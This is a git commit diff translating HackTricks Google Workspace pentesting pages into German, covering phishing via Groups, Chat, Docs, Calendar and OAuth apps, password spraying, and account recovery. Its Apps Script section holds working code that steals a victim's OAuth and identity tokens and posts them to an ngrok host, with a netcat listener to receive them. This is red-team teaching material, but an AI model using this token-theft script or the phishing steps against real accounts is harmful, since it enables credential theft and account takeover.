Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 18:57:14 +00:00
parent 7770a50092
commit 77a009d308
244 changed files with 8632 additions and 11470 deletions

View File

@@ -4,9 +4,9 @@
## Entry Points
### Google Platforms and OAuth Apps Phishing
### Google Platforms und OAuth Apps Phishing
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
Überprüfen Sie, wie Sie verschiedene Google-Plattformen wie Drive, Chat, Gruppen... nutzen können, um dem Opfer einen Phishing-Link zu senden und wie man ein Google OAuth Phishing durchführt in:
{{#ref}}
gws-google-platforms-phishing/
@@ -14,11 +14,11 @@ gws-google-platforms-phishing/
### Password Spraying
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
Um Passwörter mit allen E-Mails zu testen, die Sie gefunden haben (oder die Sie basierend auf einem E-Mail-Namenmuster generiert haben, das Sie möglicherweise entdeckt haben), können Sie ein Tool wie [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) verwenden (obwohl es unwartbar aussieht), das AWS Lambdas verwendet, um die IP-Adresse zu ändern.
## Post-Exploitation
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
Wenn Sie einige Anmeldeinformationen oder die Sitzung des Benutzers kompromittiert haben, können Sie mehrere Aktionen durchführen, um auf potenziell sensible Informationen des Benutzers zuzugreifen und zu versuchen, Privilegien zu eskalieren:
{{#ref}}
gws-post-exploitation.md
@@ -26,17 +26,17 @@ gws-post-exploitation.md
### GWS <-->GCP Pivoting
Read more about the different techniques to pivot between GWS and GCP in:
Lesen Sie mehr über die verschiedenen Techniken, um zwischen GWS und GCP zu pivotieren in:
{{#ref}}
../gcp-security/gcp-to-workspace-pivoting/
{{#endref}}
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
## GWS <--> GCPW | GCDS | Verzeichnis-Synchronisierung (AD & EntraID)
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
- **GCPW (Google Credential Provider for Windows)**: Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich an ihren Windows-PCs mit **ihren Workspace-Anmeldeinformationen** anmelden können. Darüber hinaus werden **Tokens zum Zugriff auf Google Workspace** an einigen Stellen im PC gespeichert.
- **GCDS (Google Cloud Directory Sync)**: Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren**. Das Tool benötigt die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers**. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
- **Admin Directory Sync**: Es ermöglicht Ihnen, Benutzer von AD und EntraID in einem serverlosen Prozess von [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) zu synchronisieren.
{{#ref}}
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
## Persistence
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
Wenn Sie einige Anmeldeinformationen oder die Sitzung des Benutzers kompromittiert haben, überprüfen Sie diese Optionen, um die Persistenz aufrechtzuerhalten:
{{#ref}}
gws-persistence.md
@@ -52,26 +52,22 @@ gws-persistence.md
## Account Compromised Recovery
- Log out of all sessions
- Change user password
- Generate new 2FA backup codes
- Remove App passwords
- Remove OAuth apps
- Remove 2FA devices
- Remove email forwarders
- Remove emails filters
- Remove recovery email/phones
- Removed malicious synced smartphones
- Remove bad Android Apps
- Remove bad account delegations
- Von allen Sitzungen abmelden
- Benutzerpasswort ändern
- Neue 2FA-Backup-Codes generieren
- App-Passwörter entfernen
- OAuth-Apps entfernen
- 2FA-Geräte entfernen
- E-Mail-Weiterleitungen entfernen
- E-Mail-Filter entfernen
- Wiederherstellungs-E-Mail/Telefone entfernen
- Bösartige synchronisierte Smartphones entfernen
- Schlechte Android-Apps entfernen
- Schlechte Kontodelegationen entfernen
## References
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -10,70 +10,68 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
## Google Groups Phishing
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
Offensichtlich können Mitglieder in der Workspace standardmäßig [**Gruppen erstellen**](https://groups.google.com/all-groups) **und Personen dazu einladen**. Sie können dann die E-Mail, die an den Benutzer gesendet wird, **mit einigen Links ändern.** Die **E-Mail wird von einer Google-Adresse kommen**, sodass sie **legitim** aussieht und die Leute möglicherweise auf den Link klicken.
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
Es ist auch möglich, die **FROM**-Adresse als die **Google-Gruppen-E-Mail** festzulegen, um **mehr E-Mails an die Benutzer innerhalb der Gruppe** zu senden, wie im folgenden Bild, wo die Gruppe **`google--support@googlegroups.com`** erstellt wurde und eine **E-Mail an alle Mitglieder** der Gruppe gesendet wurde (die ohne Zustimmung hinzugefügt wurden).
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
## Google Chat Phishing
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
Sie könnten in der Lage sein, entweder **einen Chat** mit einer Person zu beginnen, indem Sie nur ihre E-Mail-Adresse haben, oder eine **Einladung zum Gespräch** zu senden. Darüber hinaus ist es möglich, einen **Space** zu erstellen, der jeden Namen haben kann (z. B. "Google Support") und **Mitglieder dazu einzuladen**. Wenn sie akzeptieren, könnten sie denken, dass sie mit dem Google Support sprechen:
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> **In my testing however the invited members didn't even receive an invitation.**
> **In meinen Tests haben die eingeladenen Mitglieder jedoch nicht einmal eine Einladung erhalten.**
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
Sie können überprüfen, wie das in der Vergangenheit funktioniert hat unter: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
## Google Doc Phishing
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
Früher war es möglich, ein **offensichtlich legitimes Dokument** zu erstellen und in einem Kommentar **eine E-Mail zu erwähnen (wie @user@gmail.com)**. Google **sendete eine E-Mail an diese E-Mail-Adresse**, um zu benachrichtigen, dass sie im Dokument erwähnt wurden.\
Heutzutage funktioniert das nicht mehr, aber wenn Sie **dem Opfer E-Mail-Zugriff auf das Dokument geben**, wird Google eine E-Mail senden, die dies anzeigt. Dies ist die Nachricht, die erscheint, wenn Sie jemanden erwähnen:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
> Opfer könnten Schutzmechanismen haben, die verhindern, dass E-Mails, die darauf hinweisen, dass ein externes Dokument mit ihnen geteilt wurde, ihre E-Mail erreichen.
## Google Calendar Phishing
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
Sie können **ein Kalenderereignis erstellen** und so viele E-Mail-Adressen des Unternehmens, das Sie angreifen, hinzufügen, wie Sie haben. Planen Sie dieses Kalenderereignis in **5 oder 15 Minuten** von der aktuellen Zeit. Lassen Sie das Ereignis legitim aussehen und **setzen Sie einen Kommentar und einen Titel, der darauf hinweist, dass sie etwas lesen müssen** (mit dem **Phishing-Link**).
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
Dies ist die Warnung, die im Browser mit dem Meeting-Titel "Leute entlassen" erscheint, sodass Sie einen phishinger Titel festlegen könnten (und sogar den Namen ändern, der mit Ihrer E-Mail verknüpft ist).
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
To make it look less suspicious:
Um es weniger verdächtig erscheinen zu lassen:
- Set it up so that **receivers cannot see the other people invited**
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
- Richten Sie es so ein, dass **Empfänger die anderen eingeladenen Personen nicht sehen können**
- Senden Sie **KEINE E-Mails, die über das Ereignis benachrichtigen**. Dann sehen die Leute nur ihre Warnung über ein Meeting in 5 Minuten und dass sie diesen Link lesen müssen.
- Offensichtlich können Sie mit der API einstellen, dass **die Personen** das Ereignis **akzeptiert** haben und sogar **Kommentare in ihrem Namen erstellen**.
## App Scripts Redirect Phishing
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
Es ist möglich, ein Skript in [https://script.google.com/](https://script.google.com/) zu erstellen und **es als Webanwendung zu exponieren, die für jeden zugänglich ist**, die die legitime Domain **`script.google.com`** verwendet.\
Mit etwas Code wie dem folgenden könnte ein Angreifer das Skript dazu bringen, beliebige Inhalte auf dieser Seite zu laden, ohne die Domain zu stoppen:
```javascript
function doGet() {
return HtmlService.createHtmlOutput(
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
return HtmlService.createHtmlOutput(
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
```
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Note that a warning will appear as the content is loaded inside an iframe.
> Beachten Sie, dass eine Warnung angezeigt wird, während der Inhalt in einem iframe geladen wird.
## App Scripts OAuth Phishing
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
Es ist möglich, App Scripts zu erstellen, die an Dokumente angehängt sind, um zu versuchen, Zugriff auf das OAuth-Token eines Opfers zu erhalten. Für weitere Informationen siehe:
{{#ref}}
gws-app-scripts.md
@@ -81,89 +79,83 @@ gws-app-scripts.md
## OAuth Apps Phishing
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
Eine der vorherigen Techniken könnte verwendet werden, um den Benutzer dazu zu bringen, auf eine **Google OAuth-Anwendung** zuzugreifen, die den Benutzer um **Zugriff** bittet. Wenn der Benutzer der **Quelle** **vertraut**, könnte er der **Anwendung** **vertrauen** (auch wenn sie nach hochprivilegierten Berechtigungen fragt).
> [!NOTE]
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
> Beachten Sie, dass Google in mehreren Fällen eine hässliche Aufforderung anzeigt, die warnt, dass die Anwendung nicht vertrauenswürdig ist, und Workspace-Administratoren können sogar verhindern, dass Personen OAuth-Anwendungen akzeptieren.
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
**Google** erlaubt es, Anwendungen zu erstellen, die **im Namen von Benutzern** mit mehreren **Google-Diensten** interagieren: Gmail, Drive, GCP...
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
Beim Erstellen einer Anwendung, die **im Namen anderer Benutzer** agiert, muss der Entwickler eine **OAuth-Anwendung innerhalb von GCP** erstellen und die Scopes (Berechtigungen) angeben, die die Anwendung benötigt, um auf die Benutzerdaten zuzugreifen.\
Wenn ein **Benutzer** diese **Anwendung** **verwenden** möchte, wird er **aufgefordert**, zu **akzeptieren**, dass die Anwendung Zugriff auf seine in den Scopes angegebenen Daten hat.
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
Dies ist eine sehr verlockende Möglichkeit, **nicht-technische Benutzer** dazu zu bringen, **Anwendungen zu verwenden, die auf sensible Informationen zugreifen**, da sie die Konsequenzen möglicherweise nicht verstehen. In Unternehmenskonten gibt es jedoch Möglichkeiten, dies zu verhindern.
### Unverified App prompt
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
Wie bereits erwähnt, wird Google immer eine **Aufforderung an den Benutzer anzeigen, um** die Berechtigungen zu akzeptieren, die sie der Anwendung in ihrem Namen gewähren. Wenn die Anwendung jedoch als **gefährlich** eingestuft wird, zeigt Google **zuerst** eine **Aufforderung** an, die darauf hinweist, dass sie **gefährlich** ist und es dem Benutzer **schwieriger macht**, die Berechtigungen für die App zu gewähren.
This prompt appears in apps that:
Diese Aufforderung erscheint in Apps, die:
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
- Irgendeinen Scope verwenden, der auf private Daten zugreifen kann (Gmail, Drive, GCP, BigQuery...)
- Apps mit weniger als 100 Benutzern (bei Apps > 100 ist auch ein Überprüfungsprozess erforderlich, um die nicht verifiziert Aufforderung nicht mehr anzuzeigen)
### Interesting Scopes
### Interessante Scopes
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
[**Hier**](https://developers.google.com/identity/protocols/oauth2/scopes) finden Sie eine Liste aller Google OAuth Scopes.
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
- **cloud-platform**: Sehen und verwalten Sie Ihre Daten über **Google Cloud Platform**-Dienste. Sie können den Benutzer in GCP impersonifizieren.
- **admin.directory.user.readonly**: Sehen und laden Sie das GSuite-Verzeichnis Ihrer Organisation herunter. Erhalten Sie Namen, Telefonnummern, Kalender-URLs aller Benutzer.
### Create an OAuth App
### Erstellen einer OAuth-App
**Start creating an OAuth Client ID**
**Beginnen Sie mit der Erstellung einer OAuth-Client-ID**
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
4. **Select** the **OAuth scopes**.
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
1. Gehen Sie zu [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) und klicken Sie auf die Konfiguration des Zustimmungsbildschirms.
2. Dann werden Sie gefragt, ob der **Benutzertyp** **intern** (nur für Personen in Ihrer Organisation) oder **extern** ist. Wählen Sie die Option, die Ihren Bedürfnissen entspricht.
- Intern könnte interessant sein, wenn Sie bereits einen Benutzer der Organisation kompromittiert haben und diese App erstellen, um einen anderen zu phishen.
3. Geben Sie der App einen **Namen**, eine **Support-E-Mail** (beachten Sie, dass Sie eine Google-Gruppe-E-Mail festlegen können, um sich ein wenig mehr zu anonymisieren), ein **Logo**, **autorisierte Domains** und eine andere **E-Mail** für **Updates**.
4. **Wählen** Sie die **OAuth-Scopes** aus.
- Diese Seite ist in nicht sensible Berechtigungen, sensible Berechtigungen und eingeschränkte Berechtigungen unterteilt. Jedes Mal, wenn Sie eine neue Berechtigung hinzufügen, wird sie in ihrer Kategorie hinzugefügt. Je nach den angeforderten Berechtigungen erscheinen unterschiedliche Aufforderungen für den Benutzer, die darauf hinweisen, wie sensibel diese Berechtigungen sind.
- Sowohl **`admin.directory.user.readonly`** als auch **`cloud-platform`** sind sensible Berechtigungen.
5. **Fügen Sie die Testbenutzer hinzu.** Solange der Status der App auf Test steht, können nur diese Benutzer auf die App zugreifen, also stellen Sie sicher, dass Sie die E-Mail hinzufügen, die Sie phishen möchten.
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
Jetzt lassen Sie uns **Anmeldeinformationen für eine Webanwendung** mit der **zuvor erstellten OAuth-Client-ID** abrufen:
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
2. Select to **create credentials for a Web application**
3. Set needed **Javascript origins** and **redirect URIs**
- You can set in both something like **`http://localhost:8000/callback`** for testing
4. Get your application **credentials**
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
1. Gehen Sie zurück zu [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), diesmal wird eine andere Option angezeigt.
2. Wählen Sie **Anmeldeinformationen für eine Webanwendung erstellen**.
3. Legen Sie die benötigten **Javascript-Ursprünge** und **Umleitungs-URIs** fest.
- Sie können in beiden etwas wie **`http://localhost:8000/callback`** für Tests festlegen.
4. Holen Sie sich Ihre Anwendungs-**Anmeldeinformationen**.
Schließlich lassen Sie uns **eine Webanwendung ausführen, die die Anmeldeinformationen der OAuth-Anwendung verwendet**. Sie finden ein Beispiel unter [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
```bash
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
cd gcp_oauth_phishing_example
pip install flask requests google-auth-oauthlib
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
```
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
Gehe zu **`http://localhost:8000`**, klicke auf die Schaltfläche "Mit Google anmelden", du wirst mit einer Nachricht wie dieser **auffordert**:
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
Die Anwendung zeigt das **Zugriffs- und Aktualisierungstoken** an, die leicht verwendet werden können. Für weitere Informationen darüber, **wie man diese Tokens verwendet, siehe**:
{{#ref}}
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
{{#endref}}
#### Using `glcoud`
#### Verwendung von `glcoud`
It's possible to do something using gcloud instead of the web console, check:
Es ist möglich, etwas mit gcloud anstelle der Webkonsole zu tun, siehe:
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
{{#endref}}
## References
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: Die Macht der dunklen Apps Script Magie
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,236 +4,224 @@
## App Scripts
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
App Scripts ist **Code, der ausgelöst wird, wenn ein Benutzer mit Bearbeitungsberechtigung auf das Dokument zugreift, mit dem das App Script verknüpft ist** und nach **Akzeptieren der OAuth-Aufforderung**.\
Sie können auch so eingestellt werden, dass sie **in bestimmten Abständen** vom Eigentümer des App Scripts ausgeführt werden (Persistenz).
### Create App Script
### App Script erstellen
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
Es gibt mehrere Möglichkeiten, ein App Script zu erstellen, obwohl die gebräuchlichsten **aus einem Google-Dokument (jeder Art)** und als **eigenständiges Projekt** sind:
<details>
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
<summary>Erstellen Sie ein containergebundenes Projekt aus Google Docs, Sheets oder Slides</summary>
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
2. Click **Extensions** > **Google Apps Script**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Öffnen Sie ein Docs-Dokument, eine Sheets-Tabelle oder eine Slides-Präsentation.
2. Klicken Sie auf **Erweiterungen** > **Google Apps Script**.
3. Klicken Sie im Skripteditor auf **Unbenanntes Projekt**.
4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf **Umbenennen**.
</details>
<details>
<summary>Create a standalone project</summary>
<summary>Erstellen Sie ein eigenständiges Projekt</summary>
To create a standalone project from Apps Script:
Um ein eigenständiges Projekt aus Apps Script zu erstellen:
1. Go to [`script.google.com`](https://script.google.com/).
2. Click add **New Project**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Gehen Sie zu [`script.google.com`](https://script.google.com/).
2. Klicken Sie auf **Neues Projekt**.
3. Klicken Sie im Skripteditor auf **Unbenanntes Projekt**.
4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf **Umbenennen**.
</details>
<details>
<summary>Create a standalone project from Google Drive</summary>
<summary>Erstellen Sie ein eigenständiges Projekt aus Google Drive</summary>
1. Open [Google Drive](https://drive.google.com/).
2. Click **New** > **More** > **Google Apps Script**.
1. Öffnen Sie [Google Drive](https://drive.google.com/).
2. Klicken Sie auf **Neu** > **Mehr** > **Google Apps Script**.
</details>
<details>
<summary>Create a container-bound project from Google Forms</summary>
<summary>Erstellen Sie ein containergebundenes Projekt aus Google Forms</summary>
1. Open a form in Google Forms.
2. Click More more_vert > **Script editor**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.
1. Öffnen Sie ein Formular in Google Forms.
2. Klicken Sie auf Mehr more_vert > **Skripteditor**.
3. Klicken Sie im Skripteditor auf **Unbenanntes Projekt**.
4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf **Umbenennen**.
</details>
<details>
<summary>Create a standalone project using the clasp command line tool</summary>
<summary>Erstellen Sie ein eigenständiges Projekt mit dem clasp-Befehlszeilentool</summary>
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
`clasp` ist ein Befehlszeilentool, mit dem Sie Apps Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
Siehe die [Befehlszeilenschnittstelle mit `clasp`-Leitfaden](https://developers.google.com/apps-script/guides/clasp) für weitere Details.
</details>
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
## App Script-Szenario <a href="#create-using-clasp" id="create-using-clasp"></a>
### Create Google Sheet with App Script
### Google Sheet mit App Script erstellen
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
Beginnen Sie mit der Erstellung eines App Scripts, meine Empfehlung für dieses Szenario ist, ein Google Sheet zu erstellen und zu **`Erweiterungen > App Scripts`** zu gehen, dies öffnet ein **neues App Script, das mit dem Sheet verknüpft ist**.
### Leak token
### Token leaken
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf **`Dienste +` klicken und Berechtigungen wie** hinzufügen:
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
- **Gmail**: To access gmail data
- **Drive**: To access drive data
- **Google Sheets API**: So it works with the trigger
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
- **AdminDirectory**: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)
- **Gmail**: Um auf Gmail-Daten zuzugreifen
- **Drive**: Um auf Drive-Daten zuzugreifen
- **Google Sheets API**: Damit es mit dem Trigger funktioniert
Um die **benötigten Berechtigungen** selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: **`Manifestdatei "appsscript.json" im Editor anzeigen`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
To capture the request you can just run:
Um die Anfrage zu erfassen, können Sie einfach Folgendes ausführen:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:
Berechtigungen, die zum Ausführen des App-Skripts angefordert werden:
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
> Da eine externe Anfrage gestellt wird, wird das OAuth-Prompt auch **um Erlaubnis bitten, um auf externe Endpunkte zuzugreifen**.
### Create Trigger
### Trigger erstellen
